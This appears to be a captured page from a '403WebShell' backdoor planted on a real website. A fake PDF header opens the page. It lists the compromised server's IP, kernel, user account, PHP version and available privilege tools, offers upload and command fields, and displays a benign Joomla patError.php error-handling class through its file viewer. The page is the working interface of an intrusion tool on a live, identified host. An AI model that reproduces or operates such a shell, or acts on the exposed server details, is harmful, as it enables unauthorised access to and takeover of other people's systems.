%PDF- %PDF- 403WebShell
403Webshell
Server IP : 79.170.40.229  /  Your IP : 3.140.185.37
Web Server : Apache
System : Linux web232.extendcp.co.uk 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : 1stforcarhirealicante.com ( 296923)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/cwd/libraries/pattemplate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/cwd/libraries/pattemplate/patError.php
<?php
/**
 * patError error object used by the patFormsError manager as error messages
 * container for precise error management.
 *
 *	$Id: patError.php 12694 2009-09-11 21:03:02Z ian $
 *
 * @access		public
 * @package		patError
 */

/**
 * patError error object used by the patFormsError manager as error messages
 * container for precise error management.
 *
 * $Id: patError.php 12694 2009-09-11 21:03:02Z ian $
 *
 * @access		public
 * @package		patError
 * @version		0.3
 * @author		gERD Schaufelberger <gerd@php-tools.net>
 * @author		Sebastian Mordziol <argh@php-tools.net>
 * @author		Stephan Schmidt <schst@php-tools.net>
 * @license		LGPL
 * @link		http://www.php-tools.net
 */
class patError
{
	/**
	* stores the error level for this error
	*
	* @access	private
	* @var		string
	*/
	var	$level  =   null;

	/**
	* stores the code of the error
	*
	* @access	private
	* @var		string
	*/
	var	$code  =   null;

	/**
	* stores the error message - this is the message that can also be shown the
	* user if need be.
	*
	* @access	private
	* @var		string
	*/
	var	$message  =   null;

	/**
	* additional info that is relevant for the developer of the script (e.g. if
	* a database connect fails, the dsn used) and that the end-user should not
	* see.
	*
	* @access	private
	* @var		string
	*/
	var	$info  =   '';

	/**
	* stores the filename of the file the error occurred in.
	*
	* @access	private
	* @var		string
	*/
	var	$file  =   '';

	/**
	* stores the line number the error occurred in.
	*
	* @access	private
	* @var		integer
	*/
	var	$line  =   0;

	/**
	* stores the name of the method the error occurred in
	*
	* @access	private
	* @var		string
	*/
	var	$function  =   '';

	/**
	* stores the name of the class (if any) the error occurred in.
	*
	* @access	private
	* @var		string
	*/
	var	$class  =   '';

	/**
	* stores the type of error, as it is listed in the error backtrace
	*
	* @access	private
	* @var		string
	*/
	var	$type  =   '';

	/**
	* stores the arguments the method that the error occurred in had received.
	*
	* @access	private
	* @var		array
	*/
	var	$args  =   array();

	/**
	* stores the complete debug backtrace (if your PHP version has the
	* debug_backtrace function)
	*
	* @access	private
	* @var		mixed
	*/
	var	$backtrace  =   false;

	/**
	* constructor, wrapper for the upcoming PHP5 constructors for upward
	* compatibility.
	*
	* @access	public
	* @param	int		$level	The error level (use the PHP constants E_ALL, E_NOTICE etc.).
	* @param	string	$code	The error code from the application
	* @param	string	$msg	The error message
	* @param	string	$info	Optional: The additional error information.
	* @see		__construct()
	*/
    function patError( $level, $code, $msg, $info = null )
    {
		$this->__construct( $level, $code, $msg, $info );
    }

	/**
	* constructor - used to set up the error with all needed error details.
	*
	* @access	public
	* @param	int		$level	The error level (use the PHP constants E_ALL, E_NOTICE etc.).
	* @param	string	$code	The error code from the application
	* @param	string	$msg	The error message
	* @param	string	$info	Optional: The additional error information.
	* @todo		all calls to patErrorManager::raise* should not be included in backtrace
	*/
    function __construct( $level, $code, $msg, $info = null )
    {
		static $raise		=	array(	'raise',
										'raiseerror',
										'raisewarning',
										'raisenotice'
									);

		$this->level	=	$level;
		$this->code		=	$code;
		$this->message	=	$msg;

		if( $info != null )
		{
			$this->info = $info;
		}

		if( function_exists( 'debug_backtrace' ) )
		{
			$this->backtrace	=	debug_backtrace();

			for( $i = count( $this->backtrace ) - 1; $i >= 0; --$i )
			{
				if( in_array( $this->backtrace[$i]['function'], $raise ) )
				{
					++$i;
					if( isset( $this->backtrace[$i]['file'] ) )
						$this->file		=	$this->backtrace[$i]['file'];
					if( isset( $this->backtrace[$i]['line'] ) )
						$this->line		=	$this->backtrace[$i]['line'];
					if( isset( $this->backtrace[$i]['class'] ) )
						$this->class	=	$this->backtrace[$i]['class'];
					if( isset( $this->backtrace[$i]['function'] ) )
						$this->function	=	$this->backtrace[$i]['function'];
					if( isset( $this->backtrace[$i]['type'] ) )
						$this->type		=	$this->backtrace[$i]['type'];

					$this->args		=	false;
					if( isset( $this->backtrace[$i]['args'] ) )
					{
						$this->args		=	$this->backtrace[$i]['args'];
					}
					break;
				}
			}
		}
    }

	/**
	* returns the error level of the error - corresponds to the PHP
	* error levels (E_ALL, E_NOTICE...)
	*
	* @access	public
	* @return	int $level	The error level
	* @see		$level
	*/
    function getLevel()
    {
        return  $this->level;
    }


	/**
	* retrieves the error message
	*
	* @access	public
	* @return	string 	$msg	The stored error message
	* @see		$message
	*/
    function getMessage()
    {
		return $this->message;
    }

	/**
	* retrieves the additional error information (information usually
	* only relevant for developers)
	*
	* @access	public
	* @return	mixed $info	The additional information
	* @see		$info
	*/
    function getInfo()
    {
		return $this->info;
    }

	/**
	* recieve error code
	*
	* @access	public
	* @return	string|integer		error code (may be a string or an integer)
	* @see		$code
	*/
    function getCode()
    {
		return $this->code;
    }

	/**
	* get the backtrace
	*
	* This is only possible, if debug_backtrace() is available.
	*
	* @access	public
	* @return	array backtrace
	* @see		$backtrace
	*/
    function getBacktrace( $formatted=false )
    {
    	if ($formatted && is_array( $this->backtrace )) {
    		$result = '';
    		foreach( debug_backtrace() as $back) {
			    if (!preg_match( '#patErrorManager.php#i', $back['file'])) {
				    $result .= '<br />'.$back['file'].':'.$back['line'];
				}
			}
			return $result;
		}
		return $this->backtrace;
    }

	/**
	* get the filename in which the error occured
	*
	* This is only possible, if debug_backtrace() is available.
	*
	* @access	public
	* @return	string filename
	* @see		$file
	*/
    function getFile()
    {
		return $this->file;
    }

	/**
	* get the line number in which the error occured
	*
	* This is only possible, if debug_backtrace() is available.
	*
	* @access	public
	* @return	integer line number
	* @see		$line
	*/
    function getLine()
    {
		return $this->line;
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit